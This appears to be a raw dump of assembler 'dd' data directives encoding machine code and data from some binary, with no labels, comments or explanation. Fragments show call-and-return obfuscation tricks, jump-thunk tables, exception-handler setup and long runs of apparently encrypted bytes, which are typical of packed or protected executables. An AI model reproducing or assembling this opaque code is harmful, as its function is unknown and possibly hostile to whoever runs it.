		dd 0D3FF06AAh, 6A585Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F9A804C3h, 0FD04842h, 38Ah, 0A9C58000h
		dd 0D38B44B1h, 9E9C08Bh, 36000000h, 2474AD89h, 985D6A0Ch
		dd 55C28166h, 61BD8321h, 6A800h, 1B840Fh, 0AE90000h, 68000000h
		dd 32B04C59h, 0BA66B99Fh, 1C2E990h, 66520000h, 9261D981h
		dd 66DF8C5Eh, 662952B9h, 4C7F7h, 1AA850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 83772FC3h, 0A80A99BDh, 850F0006h, 0Eh, 0D1FAB966h, 177E9h
		dd 0D2816600h, 0BF1392h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0F37FC351h
		dd 74061455h, 60740D47h, 8E9h, 35A7D900h, 0E389D4C3h, 9D8D61D5h
		dd 6AB342Bh, 38BE6650h,	241C8919h, 0CF29BA66h, 35FF64h
		dd 0E9000000h, 5, 750E44Eh, 8A0F52F0h, 4, 0B903BA66h, 2589645Ah
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E4C35141h
		dd 12FE3A0Ah, 0D3BE5D19h, 6006D178h, 0D1BF0F60h, 61616160h
		dd 0CDF5C48Bh, 8000EB01h, 0F521CDDh, 686h, 8A0F00h, 5E000000h
		dd 58F64h, 0F000000h, 0C483D0BFh, 0FC00B04h, 0A784h, 0B70F6100h
		dd 20BD8DC8h, 6A06A871h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0FA38C353h,	8A0F26CAh
		dd 0Bh,	0C28B6660h, 7593C981h, 0B8613206h, 1, 0B2E7FFh
		dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h
		dd 83000000h, 0B883h, 335F0200h, 6AC3C0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 8F7835C3h
		dd 6AD08B66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0E807C351h, 0CF8B667Ah, 51006A61h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0D30E9EABh, 0F896D8C9h, 6AC08BA8h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 439DC357h
		dd 0C7487FCFh, 0E4B8D3CFh, 1ED9BD83h, 750006A8h, 0E9BD8309h
		dd 6A82Dh, 53501974h, 0EB8C08Bh, 89000004h, 0A80FD585h
		dd 139D8D06h, 0FF06AAA2h, 83585BD3h, 0A82DE9BDh, 17740006h
		dd 0EB85350h, 89000004h, 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh
		dd 66585BD3h, 0E81DC181h, 0E9D38B66h, 0Ah, 0CB82BFEh, 0D1840DEh
		dd 880F530Fh, 10h, 0BE9h, 8CDD9F00h, 0ED17021Fh, 65D3AA5Ah
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5E8023C3h, 6009E2DEh, 3E9FBE66h, 4820Fh
		dd 0BF660000h, 8B6159F1h, 7E8C2h, 0E8880000h, 0D531D0B5h
		dd 59C18B2Bh, 616DB260h, 5A25C181h, 0E9600000h,	9, 0B706692Ch
		dd 0F1A20792h, 0F4B960A9h, 0E8703B6Fh, 8, 1929D16Eh, 0E94D6B3Ah
		dd 6861615Eh, 0
		dd 1EA6F081h, 0F5A4628h, 687h, 0A3CE8100h, 8B4874D3h, 8166111Ch
		dd 81997ADEh, 0A455CDEBh, 0E7BF6658h, 54F381A1h, 66433FD4h
		dd 81AA29B8h, 58E451C3h, 53F78B01h, 0DA27B866h,	0BF11048Fh
		dd 51004DE1h, 58D0Fh, 81660000h, 815E21D8h, 0D2EF9FEAh
		dd 90F0814Dh, 8155B0F7h, 0D2EF9BC2h, 84FA814Dh,	0FFFFFA6h
		dd 0FFFFA685h, 0EBC38BFFh, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 9D858B24h
		dd 8D06A833h, 0AB82B385h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 0AB36408Dh, 99BD8306h, 6A80Ah, 0F840Fh, 6A600000h
		dd 3195FF00h, 6106A81Bh, 0FFFFC4E9h, 728966FFh,	10CEC1FCh
		dd 2728966h, 5A04CD52h,	363C8589h, 0B58B06ABh, 6AB3640h
		dd 6610CEC1h, 8B027289h, 0AB3640B5h, 72896606h,	858B61FCh
		dd 6AB363Ch, 5958DC3h, 8906A818h, 0A832A195h, 19958906h
		dd 0FF06A80Dh, 0A80D1985h, 0D585C606h, 5306A815h, 0B148D868h
		dd 0F9B5FFFCh, 8D06A831h, 0A83AC385h, 89D0FF06h, 0A81B3185h
		dd 0F3858D06h, 8906AB2Eh, 0A80F8985h, 20EB06h, 7 dup(0)
		dd 0E9000000h, 501h, 4F5E9h, 38986800h,	83E906ABh, 68FFFD46h
		dd 6AB392Eh, 0FD4679E9h, 3AD968FFh, 6FE906ABh, 68FFFD46h
		dd 6AB3B3Eh, 0FD4665E9h, 0CD84A3FFh, 0FCB9D679h, 2A6305AEh
		dd 5A1F339Ch, 8FC263CCh, 15FDBC3Bh, 42ED3974h, 76D96D20h
		dd 0A80B9FD6h, 0EE7ECC85h, 0DCECA7Ch, 76B4B603h, 1059FFC9h
		dd 0D74B4B93h, 8C672F57h, 0D93B1723h, 33C292DFh, 0A4000000h
		dd 0E5CCCC7Eh, 9DB62F57h, 5FA6101Bh, 5CAF57D7h,	79A743F8h
		dd 1635F896h, 0E0D9D25Fh, 0E9CBE48h, 0CD66B603h, 0D994B619h
		dd 6FD54354h, 1DE4h, 5EA6C700h,	5DAF57D7h, 5BEBA5FFh, 0EBF0D46Bh
		dd 30290247h, 345A708Ah, 0F28B603h, 59FF9CBBh, 0C4BDF498h
		dd 0D7969F5Fh, 89E22F57h, 0AF072128h, 865AF41Ch, 0EE3C1578h
		dd 0A5C6E15Dh, 28753C60h, 0F92D06FFh, 5885474Fh, 8D123D2Fh
		dd 82387114h, 321A4448h, 51C7A038h, 47FC50EBh, 80BA19A3h
		dd 2AAC3600h, 0DD6727F7h, 123C7C38h, 0C06EF439h, 0B58286h
		dd 0E6226436h, 0DC3600B4h, 50D87373h, 0B58E96h,	0E0412A36h
		dd 770CE6D2h, 0A9C62994h, 0FCB747ECh, 38A27A09h, 22D05831h
		dd 5Bh,	3559BA05h, 0CD6F3870h, 37365076h, 0DB6030Dh, 781B8422h
		dd 2B4AF531h, 0C36E4662h, 8122F324h, 2DE00h, 89C06700h
		dd 0B8FD923Dh, 0EEA7C162h, 1E5BF758h, 4B062788h, 0D14170FFh
		dd 6A9FDB0h, 329D2964h,	64CF5B12h, 0AA3288C1h, 0F1216B0h
		dd 0AAF0B603h, 2A9DF8Dh, 0FFFA0000h, 4B931059h,	0AF57D74Bh
		dd 57D78501h, 0D0115BAFh, 251E8E45h, 0ACED7BBDh, 0AEAF58C7h
		dd 0AF58C866h, 58C82064h, 0BDDDC6AFh, 15B7B3F0h, 0AF58C815h
		dd 0CD6B44EFh, 58C7FB3Bh, 0A71CB06Fh, 0B474F903h, 0E54E7603h
		dd 0E65DFFB8h, 0CF3F86C0h, 0A2057CABh, 28D0C98Ch, 2C7C01D6h
		dd 488C75B6h, 0D1000002h, 8ABFFB6h, 37982E6Bh, 61C25811h
		dd 913288CDh, 0E269BDF0h, 6F2243CFh, 9BD678DBh,	0C980A40Fh
		dd 0FAB3D27Dh, 982238ACh, 0B60310A0h, 0FFFF2462h, 7302F45Ch
		dd 8144F270h, 0B1DF0BA8h, 58A81317h, 0D246F1AFh, 68BDE755h
		dd 0E2B61618h, 0CBE6C45h, 0B6034212h, 38708AF0h, 0AB60342h
		dd 51F24821h, 1D58F637h, 226F0F90h, 69CA5049h, 0F9314BCFh
		dd 0CBB60341h, 3C2A7760h, 5D9C1DBAh, 6DCBA22Ch,	25C17ADAh
		dd 0AE82B5E3h, 2448ABBCh, 0E01AC06Dh, 0BCAE82A8h, 50D8B19Ah
		dd 0DB0185AEh, 0A493B691h, 8437D047h, 2ADB1382h, 996FC936h
		dd 0BCAEB79Dh, 0E105BE1Eh, 59EE6DA7h, 0CEFC57C3h, 521F3FA0h
		dd 923A59C6h, 41E1B871h, 0A3E7D026h, 733A5A45h,	0D0B5A27Bh
		dd 9C1CDC7Dh, 0F4397013h, 5A114272h, 60DB79C3h,	482600BAh
		dd 331CCA05h, 40092C97h, 0B018509Ah, 0A4AEB646h, 7A742CE5h
		dd 0E4345DA5h, 304AF01Eh, 0CA058FF8h, 7C78AABh,	66CB8EA4h
		dd 53DC5C35h, 32347930h, 0CA059002h, 7AA01BB9h,	1C55F3DCh
		dd 0C75C4A9Ch, 0E402D0B0h, 0B0C766A2h, 0A5F35CD0h, 0A90AB09Bh
		dd 0DC47C38Ah, 0EAB3F0B9h, 0AFD5F14Ah, 193B592Dh, 7DBBBB1Ch
		dd 5B68D1EBh, 1B98B3D7h, 940E4CFh, 7D1273A4h, 2E76F038h
		dd 4AD75B69h, 463240E1h, 0A13ADC44h, 0Ch, 0F45EA67Ah, 765AF57h
		dd 40000000h, 57F15EA6h, 0B5E7C1AFh, 70AED80Eh,	52B6030Eh
		dd 41F3B4F9h, 4FBACCFAh, 11BCAB38h, 52C68FAEh, 736583ACh
		dd 7DEC7C98h, 9DC5BEh, 3260000h, 3E53FC4Ah, 0E4842F7Bh
		dd 98B619ADh, 45E649DDh, 8435B208h, 1AA0ED8Eh, 56D499B9h
		dd 80064FEDh, 0F1357C1Fh, 5555F775h, 2FB60311h,	0B5E742E9h
		dd 70AED80Eh, 52B6030Eh, 41F3B4F9h, 0CFBACCFAh,	91BCAB1Dh
		dd 1DD9D16Bh, 80ABBCABh, 4680E628h, 0BCAB1E42h,	8A3E1700h
		dd 0EC7CB218h, 380AFB38h, 0C1000000h, 0F85BEFA6h, 27881E5Bh
		dd 51F24801h, 8122783Dh, 9219ADE0h, 5F1233DFh, 8BC668CBh
		dd 0B9F0943Fh, 0EAA3C26Dh, 0E812C85Ch, 0B60311B0h, 0DFEF5492h
		dd 3, 0FFCBB0FAh, 138C1158h, 2BF43970h,	42E34009h, 5FC06D20h
		dd 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h
		dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 63682424h, 89000002h
		dd 89532434h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 240C895Ch
		dd 9A26850h, 48B024Fh, 4C48124h, 48000000h, 0E43EFD35h
		dd 58C68904h, 240C8B54h, 4C481h, 89520000h, 348152F2h
		dd 1D15DD24h, 8418F26h,	0DD087181h, 5A261D15h, 592434FFh
		dd 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6810000h, 4
		dd 5C243487h, 0FD4199E9h, 9BB872FFh, 306AB3Bh, 0E9C88BC5h
		dd 51h,	24748B60h, 3C760324h, 28247C8Bh, 0C281D68Bh, 0F8h
		dd 64E8B66h, 83C9B70Fh,	840F00F9h, 16h,	0F0C7A3Bh, 158Fh
		dd 28EA8300h, 8B0C428Bh, 0C12B144Ah, 7C89F82Bh,	0C2611C24h
		dd 0C2830008h, 850F4928h, 0FFFFFFCFh, 0FFFFE9E9h, 0FD3EBAFFh
		dd 0EB0009h, 5D3E9h, 5C7E900h, 7D680000h, 0E906AB3Dh, 0FFFD411Eh
		dd 0AB3E7368h, 4114E906h, 1268FFFDh, 0E906AB3Fh, 0FFFD410Ah
		dd 0AB3FDA68h, 4100E906h, 0E668FFFDh, 0E906AB40h, 0FFFD40F6h
		dd 0CE5C1534h, 398DC865h, 6FBBF296h, 5FEBAEC4h,	881E53F4h
		dd 83A46E03h, 0B7D778CEh, 6103ACFAh, 12319228h,	8D5FCF5Bh
		dd 3133F7Bh, 58C705B6h,	0F83559BAh, 86971C55h, 811700ADh
		dd 57D73F47h, 0D6FD3DAFh, 45E3AF57h, 57D70703h,	0C652FDAFh
		dd 57D70700h, 0D6C1C5AFh, 7CBBAF57h, 7EAF57D7h,	2F57D736h
		dd 0EEABC728h, 47C06841h, 0EB86ED5h, 35FFF33Bh,	17F82E09h
		dd 4218DD75h, 1E97246h,	13319228h, 4FDB0D2h, 5BE1E9Fh
		dd 1F20A7E1h, 98C63CA8h, 0A81F2A6Eh, 48F2183Ch,	3CA81F50h
		dd 88201932h, 7C3BED46h, 26C7FB7h, 41920A1h, 0E7820000h
		dd 9AB718AEh, 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch
		dd 8E1C51F2h, 0F2480525h, 2C7A3351h, 1DA9E083h,	0F1295389h
		dd 0D3B60313h, 5CFFAE95h, 474E8815h, 0D5AF57D7h, 7593DD46h
		dd 57D6D7D3h, 1682ADAFh, 67A3EA89h, 53D099BCh, 0B5FAB3D2h
		dd 94D859F2h, 0DF440D2Bh, 0A6C56ACEh, 7F35BEFh,	0E612DFD6h
		dd 38Ah, 155CFF39h, 92345288h, 0AF57D796h, 9355C36Ch, 0AF57D794h
		dd 80A40F6Bh, 9ABB64C9h, 78514AD7h, 0D3DA5B30h,	39ADF9B0h
		dd 0D7A19923h, 0C863AF57h, 0DD90B112h, 1187CA6Ch, 0D753F1B2h
		dd 57D775B5h, 9F294FAFh, 0AF57D79Bh, 31D5CE69h,	57D79397h
		dd 0EDC671AFh, 1E57F659h, 1DA60891h, 4E072689h,	531E40E1h
		dd 0D6F135D7h, 90B2AF57h, 65D750DDh, 0A1C728DEh, 0C6524BE8h
		dd 0E3A7EA1Ch, 0B29DB5FFh, 27F24B16h, 9D6645F3h, 323h
		dd 66A4ED8Ch, 51D590BDh, 87034AEEh, 0F733761Ch,	20662B4Ch
		dd 5BFC165Bh, 0F2F9016h, 395BC442h, 0EA892A70h,	658767A3h
		dd 314E723h, 0B09FDDB6h, 33FB30BAh, 0A03A7312h,	4D79A1DAh
		dd 584BFF3Bh, 0CE6AC5AFh, 268BC261h, 0A97DE7Dh,	1A3CF999h
		dd 0AFF4BDDFh, 1EAC857Eh, 584BE8ECh, 5CA2E2AFh,	6101AF58h
		dd 3D5B872Ch, 585C8F8Bh, 5EDA75AFh, 585C8C88h, 0D37152AFh
		dd 721577Bh, 6B4401B5h,	2B212B93h, 0BFF9B15Ah, 0CBFF44E8h
		dd 643EB1h, 0FD2B04B6h,	0F32771AEh, 845233F0h, 0ED000002h
		dd 1C87034Ah, 4BF43277h, 7D26642Dh, 0AD1694D1h,	0FE45C18Ch
		dd 7B3657BBh, 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h
		dd 0B603168Ch, 0FF0B3076h, 5288155Ch, 169BD271h, 690C9305h
		dd 973C8320h, 2D64070Eh, 0D6413D99h, 0FA412DFh,	7F000002h
		dd 57D75EA6h, 6E2745AFh, 7DD577D8h, 13AC57AEh, 4EB2430Dh
		dd 0D9C38941h, 0B3F0B5DAh, 72A8817Ah, 1476B2D4h, 0E34CAF58h
		dd 0E208D6B5h, 58146058h, 0AF0922AFh, 0F1155C00h, 13F9314Bh
		dd 60CBAF58h, 0A9CA5BC8h, 46E6BFE4h, 0BF14A20Fh, 0B31867F6h
		dd 49EBF2h, 0EB2612BAh,	48C112DFh, 5A000000h, 0D80EB5E7h
		dd 0FFE3D7AEh, 6682ADB5h, 0F327F20Fh, 0BCA12281h, 25000001h
		dd 54FF4B02h, 832C7A3Fh, 0B51EACE5h, 0E54EDC99h, 36BD0944h
		dd 0A3EE8F83h, 0D79ABC67h, 54CF053h, 367F1E81h,	54F674F0h
		dd 0B6031654h, 0C443E82Eh, 0D7ACE426h, 38B2AF57h, 0D7403A12h
		dd 0C326696h, 725FE23h,	0B112F84Eh, 4455DA93h, 61284BD4h
		dd 0ADDB7B3Ch, 0A56D2042h, 0AF585765h, 9555103Eh, 0DA45C1BAh
		dd 0CB7F3BAh, 22832069h, 56F94D00h, 29337934h, 58579B9Fh
		dd 61CE69AFh, 0EA1C98C0h, 0AF5856AEh, 44C2BB94h, 0DF194FC3h
		dd 7082C0D4h, 0C3C70F54h, 81AF5898h, 0CAE58C77h, 0FFE87149h
		dd 60089906h, 0D4CD80A1h, 7C70B456h, 892BAF58h,	0B729432h
		dd 0F9B600A9h, 2A47A85Eh, 3058BB6Fh, 0B5E33479h, 8ACF64CFh
		dd 94071A5Ch, 3E47477h,	60C88DA2h, 0DA7C6783h, 0A0F2B276h
		dd 0ECC54A36h, 841E34Ch, 1558FAABh, 38711788h, 398232FBh
		dd 0D34C7B8Dh, 0B112BCA8h, 425BD89Dh, 0D90F28D6h, 0EC7F0376h
		dd 0B0CABB78h, 19000000h, 50F3377Eh, 7F206623h,	0A90A90D9h
		dd 0D97AC085h, 2AB1F5B8h, 0A7EA8B87h, 0D39EC063h, 148EC57h
		dd 327B1A85h, 50EA70F4h, 0B6031758h, 0BA47EC2Ah, 54532630h
		dd 48E0F351h, 0A00D44E7h, 0AED85CFFh, 0AF57FA6Ah, 0C5E7FF58h
		dd 0ED5DB5F5h, 1B9E03FCh, 44AFF1B2h, 0D3C46920h, 0F2BBDA45h
		dd 247EBD4h, 0DDC62C96h, 7BACF1BCh, 0FF8D793Dh,	176812DFh
		dd 72000000h, 75BAF391h, 0A6AFF424h, 0AF57D75Fh, 0D2682144h
		dd 1D51h, 1CBA7400h, 0D75454F6h, 52EAF57h, 57D6BDFDh, 0CAC87AFh
		dd 57D6BAFAh, 34AE9AFh,	0DBE09887h, 257h, 0FFC2B900h, 138C1158h
		dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
		dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BD55h
		dd 0E8290000h, 2404875Dh, 0E389535Ch, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 52243489h, 0C281E289h,	4, 4EA81h, 14870000h
		dd 2C895C24h, 0CBB95124h, 5106AB3Ch, 0EC81595Eh, 4, 81242489h
		dd 42404h, 515D0000h, 8B9h, 56E90100h, 55240481h, 8F222131h
		dd 55298101h, 59222131h, 5D2434FFh, 4C481h, 348B0000h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD3B6DE9h
		dd 8B8C29FFh, 0ADE767Bh, 0D54497FCh, 41BBB8C0h,	0C50306ABh
		dd 63E9D18Bh, 81000001h, 0E7703061h, 93DA95ECh,	0DF067158h
		dd 0FDBEB6CFh, 36365D54h, 0BCECA4h, 52C55DD5h, 0A4D676D3h
		dd 4100FC94h, 50C1AEC4h, 325277CBh, 9CACACh, 0FC6C46BFh
		dd 597390ADh, 75D6A336h, 0BD9C72E2h, 93DD0090h,	0A79B8CE6h
		dd 0DD64A592h, 9792A7ABh, 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h
		dd 0B69F47E4h, 94B6E592h, 0B59EBDF6h, 0EC96B3EBh, 999C93D0h
		dd 0FD7B97BFh, 9389F55Ch, 0EDAFF4h, 0A6E3B2CDh,	0B5D4E594h
		dd 445700C3h, 0B0F3622Dh, 38AE29h, 3C0000h, 400000h, 2 dup(0)
		dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h
		dd 2Ah dup(0)
		dd 0F7E90000h, 6800001Fh, 6AB45E0h, 0FD39E1E9h,	46CA68FFh
		dd 0D7E906ABh, 68FFFD39h, 6AB4792h, 0FD39CDE9h,	487668FFh
		dd 0C3E906ABh, 68FFFD39h, 6AB4935h, 0FD39B9E9h,	4A3168FFh
		dd 0AFE906ABh, 68FFFD39h, 6AB4B1Ah, 0FD39A5E9h,	4BCB68FFh
		dd 9BE906ABh, 68FFFD39h, 6AB4FF8h, 0FD3991E9h, 506E68FFh
		dd 87E906ABh, 68FFFD39h, 6AB5147h, 0FD397DE9h, 544C68FFh
		dd 73E906ABh, 68FFFD39h, 6AB575Bh, 0FD3969E9h, 5AE968FFh
		dd 5FE906ABh, 68FFFD39h, 6AB5C3Bh, 0FD3955E9h, 5CBE68FFh
		dd 4BE906ABh, 68FFFD39h, 6AB5D1Fh, 0FD3941E9h, 5D6A68FFh
		dd 37E906ABh, 68FFFD39h, 6AB5F43h, 0FD392DE9h, 604468FFh
		dd 23E906ABh, 68FFFD39h, 6AB624Ch, 0FD3919E9h, 793057FFh
		dd 0A8ED822Dh, 0DE97B112h, 0E4BE748h, 3B7617B8h, 0C15160EFh
		dd 0F659EDA0h, 228D1954h, 54FF4B02h, 0BA227831h, 1B2266A0h
		dd 0DAE0B603h, 155CFF7Dh, 0F4185288h, 42346230h, 692BE922h
		dd 0E7D0CA41h, 64FEEB1h, 0E80D96E0h, 9186024Dh,	0AA0ABD07h
		dd 644FF511h, 8218EC3h,	6770A8D2h, 0F952AF58h, 8646A9BFh
		dd 0B718B600h, 4556DB96h, 9D022DD3h, 86595Dh, 159E75B6h
		dd 45872D4Bh, 0B6008645h, 0AEEA143Fh, 94B60085h, 0D25F1233h
		dd 0EC48E0D9h, 14777DF0h, 3A17h, 0B5E72800h, 4FAED80Eh
		dd 11B60005h, 51C78EAEh, 21680CAFh, 2363EB48h, 0BFB60005h
		dd 534F4BD4h, 921477F8h, 10D6D274h, 7E88B600h, 0B600113Ah
		dd 74DF2F08h, 9C1624h, 0FF290000h, 1788155Ch, 2DF63B76h
		dd 49DA470Eh, 2527632Ah, 0AF57DB24h, 1195DC7Fh,	20C68FAEh
		dd 0DB4840FAh, 113AAF57h, 31632487h, 9F2A5C8Ah,	65B5FFE2h
		dd 93B31CCAh, 0D05851DEh, 0D863D16Ah, 1728422h,	0FE3D716Dh
		dd 368A5CDCh, 0CBCAA91h, 7B1C8723h, 2E4FF036h, 4BD14563h
		dd 0E0C3EC7Dh, 1D2B1Fh,	31781F00h, 60254AF5h, 96DF79DAh
		dd 0C683AF10h, 0F3BEDF40h, 898928B7h, 0BE61A5E8h, 0EA55D19Ch
		dd 1C87034Ah, 72EA3079h, 1C5A5EE8h, 0E228B603h,	135EFF45h
		dd 40092C97h, 0B5E7DDFAh, 4FAED80Eh, 35B60005h,	446EC1Ah
		dd 0B6000504h, 34B6F39Fh, 5D5DEF1Bh, 27B60005h,	3F3FAC0Ch
		dd 0B60004F7h, 0C6664993h, 0F1B2298Fh, 77F8F5E1h, 0B21014h
		dd 0FF2B0000h, 1788155Ch, 0DF92B376h, 0C3605952h, 982ED527h
		dd 943E052Ch, 0B305C204h, 0FF9EAF58h, 60EA10B6h, 0FE1FEB5Fh
		dd 35759DB5h, 7AF5837h,	93C88E8Ah, 77A02288h, 55F85B21h
		dd 0A616971Ch, 0C5FE91Dh, 0F6B6006Dh, 0FF8B5D5h, 17AC00BBh
		dd 0BE849F3h, 90DABCABh, 269598E5h, 0CACE788Eh,	0B8BCAB5Eh
		dd 19CDA69Fh, 42D895B6h, 0DB0D40E1h, 0EC7C7E55h, 41E7585Bh
		dd 3500001Ch, 64CF5B12h, 933C8ACFh, 0C56EBCF5h,	0F55EECA9h
		dd 68D1954h, 0B3FE9F73h, 0E7AACC77h, 155C00A3h,	460F2E91h
		dd 448664C0h, 0B6031D44h, 0FF53F83Eh, 2C97135Eh, 0DDFA4009h
		dd 1B8F30BAh, 0C0BA31CFh, 0EDA4C768h, 7DBCDF40h, 1E0F94D1h
		dd 215B8125h, 0AF5832E9h, 523870DBh, 6FCD2A0Fh,	32ABEF19h
		dd 0BE99AF58h, 74E721C5h, 4EB60049h, 3D4583E5h,	7E728EB8h
		dd 540EDDEh, 2A7CFE2Ch,	0C33D2826h, 74965CDCh, 79365C29h
		dd 2AF3301Bh, 4395318Ah, 8C414C11h, 678D2B36h, 0DEF1A425h
		dd 11B59E7Fh, 0F25951EBh, 3C237FDEh, 552D3A69h,	0FB993ACCh
		dd 955FD9B2h, 0C4420B2Ah, 5771385Bh, 294844C3h,	7915EECDh
		dd 6D00001Bh, 9C0783CAh, 0CB74B2F7h, 0FDA6E4ADh, 2D961451h
		dd 7EC5410Ch, 0FBB6D73Bh, 2F6204AFh, 5D14389Bh,	8EC766C9h
		dd 0CBEAC38h, 0B6031E0Ch, 0BA8BB0F6h, 9E3DA1Ch,	37E9A893h
		dd 58048B8Fh, 5ADE79AFh, 0B2FFB6D5h, 0CAF04BE9h, 692043ACh
		dd 8345D3C4h, 0B6001F44h, 379FB91Ah, 8A400A12h,	0F3302926h
		dd 67D07EBAh, 0D5B3C523h, 0BC4A8554h, 3F1E4FE9h, 23C77CD0h
		dd 0ED2D5F85h, 0D7B60030h, 0BF2A3C7Ch, 85BCA846h, 2B943EAAh
		dd 1EE84009h, 8459A59Dh, 0E105BE1Eh, 1D758A7h, 9C012A8Bh
		dd 0E402B91Bh, 0D70C0CBEh, 5DF68B01h, 8EB11DBh,	0A8812E6Bh
		dd 1181C600h, 0E84391AAh, 0FBB2D132h, 294CB7BDh, 0EA1CBA60h
		dd 91AA10AEh, 111216B0h, 47F091AAh, 860CAC87h, 91377E1Dh
		dd 177DCB83h, 95AD1695h, 8900001Ah, 0C063A7EEh,	0EF50D693h
		dd 19BA0049h, 49EA3075h, 5A216528h, 175AFB17h, 430E3093h
		dd 71385CC7h, 0A2EB8A35h, 205A8064h, 0B6031EE8h, 0FFB79CDAh
		dd 0F88155Ch, 56F016ADh, 0B5FFE44Bh, 1793B21Dh,	0FFE3B5F5h
		dd 0CBA48FB5h, 3288A36Dh, 74AEBD4h, 7617819Ah, 8E3567A6h
		dd 0F9BB2E58h, 42ADBCA7h, 7C96F26h, 3650FE2Ch, 0BCA7F9F2h
		dd 693167D0h, 50B2A95Fh, 9B2E259h, 0E564ABDDh, 0DC7A5FF8h
		dd 11D1619Ah, 6EA81E09h, 5FF9CF2Ah, 0DD94B718h,	0CA6E4750h
		dd 5862B04h, 4CFE2C97h,	66A20A0Bh, 47A85EF9h, 76D96D24h
		dd 0F12953D7h, 0D366A209h, 0C5598F78h, 0C74285D2h, 19D61BE4h
		dd 0AFCA0000h, 52FFA0E6h, 8309317h, 345AC541h, 0E98A3571h
		dd 0D89966A4h, 0D654193Ah, 3A80CD6Dh, 74B2FB99h, 0A5E1A8CBh
		dd 0A9E11BC1h, 9BB6031Fh, 5CFFF65Dh, 0AD0F8815h, 4AF016h
		dd 0E18F43CFh, 13C91C1h, 7F2103DBh, 6DCFCB7Dh, 9AB5AF58h
		dd 7EF177A1h, 44B60095h, 0BB15FEBh, 67CC85A8h, 958C8C36h
		dd 5576B600h, 14847D38h, 36669F75h, 0D033598Dh,	6FB8E5ACh
		dd 0AACC3FC9h, 5892BCA8h, 8C276837h, 0C881A360h, 0DF59326Bh
		dd 64A20631h, 0B9EB420Ah, 77F89ADCh, 19F50266h,	0BEEF3479h
		dd 60D453C5h, 0A4C42FDBh, 67A14BEDh, 0C0932A18h, 0F46E5CEh
		dd 0E12F89A2h, 32F9036h, 68C0D946h, 0F48232FBh,	0FA276A0Bh
		dd 2A2119A1h, 48E3C093h, 0A20DAB5Fh, 3566CB82h,	64E465E3h
		dd 75DEC73Bh, 86CF6E51h, 0ABCDA00h, 0C73B650Eh,	52DD5BF4h
		dd 9A4E7A33h, 26E1EC78h, 18DA3C85h, 0ABCE0000h,	56FBA4E2h
		dd 0C2C9713h, 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h
		dd 3E8CC161h, 68BEF795h, 59EDA4C7h, 0ADED1FCDh,	97B60320h
		dd 30BAEA51h, 3A96E4E8h, 0D05FD91Ah, 85CC6CADh,	0B6D07EACh
		dd 0AF58D372h, 0D2B1E750h, 0AA50EB49h, 36622B49h, 3AB9A2Ch
		dd 0BE99B601h, 2218268h, 63B5E64Bh, 18BC6342h, 0AFD907A3h
		dd 0B601046Bh, 0D05D1438h, 8C2C07C7h, 19B52466h, 0A48FBCA9h
		dd 0BC9EF406h, 35BDA6DCh, 0BDFBBED4h, 2794D3F5h, 0A5175072h
		dd 4F5EE81Eh, 35571A59h, 6E03EC1Ah, 9D1E8D2Bh, 7D66843Fh
		dd 100996DFh, 58C58CAFh, 0F903E94Fh, 5DC29380h,	0A6E22442h
		dd 9C5DC293h, 0C32CDAB3h, 0F25DE9A0h, 4BECD753h, 46809906h
		dd 5DC29442h, 68A0DA00h, 5A5DC294h, 0F92F18F1h,	4B654949h
		dd 0F197684Bh, 0E5000017h, 14BF0B42h, 43EC3A7Fh, 75DE6C25h
		dd 0A50E9CD9h, 0F67DC984h, 632E4FC3h, 97DA7C27h, 0C58CB013h
		dd 0F6BFDE41h, 943634B0h, 0B6032294h, 0BA03286Eh, 2F743959h
		dd 56F5BAFEh, 0AB09921Fh, 6950EA10h, 5BB6031Ah,	4AE9CAF0h
		dd 1A7CBCCEh, 0ED46B603h, 0E454B6F4h, 0FAB6031Ah, 78D57919h
		dd 0C14FE6AAh, 7FA8F5EEh, 72CD6E39h, 6CE88B34h,	32BDEDAh
		dd 6F03A4B6h, 0C258312Ah, 45E8DB79h, 0BFA8E184h, 8B64214Eh
		dd 6EFE2D5Fh, 6BC4BCAEh, 0F23F54BFh, 0E5211A53h, 0A3F6FD7Fh
		dd 3530A664h, 52173CE3h, 783154CDh, 79208C40h, 0D6AF0CECh
		dd 1740h, 0CE5C1534h
		dd 398DC865h, 6FBBF296h, 5FEBAEC4h, 881E53F4h, 83A46E03h
		dd 0B7D778CEh, 6103ACFAh, 12319228h, 8D5FCF5Bh,	3223F7Bh
		dd 58C705B6h, 0D80EB5E7h, 9B1851F7h, 0BACC1682h, 0B6031A8Fh
		dd 0AA2CDA75h, 76B836BAh, 0A7EE8DA3h, 0E048217Ah, 3BFA997Ah
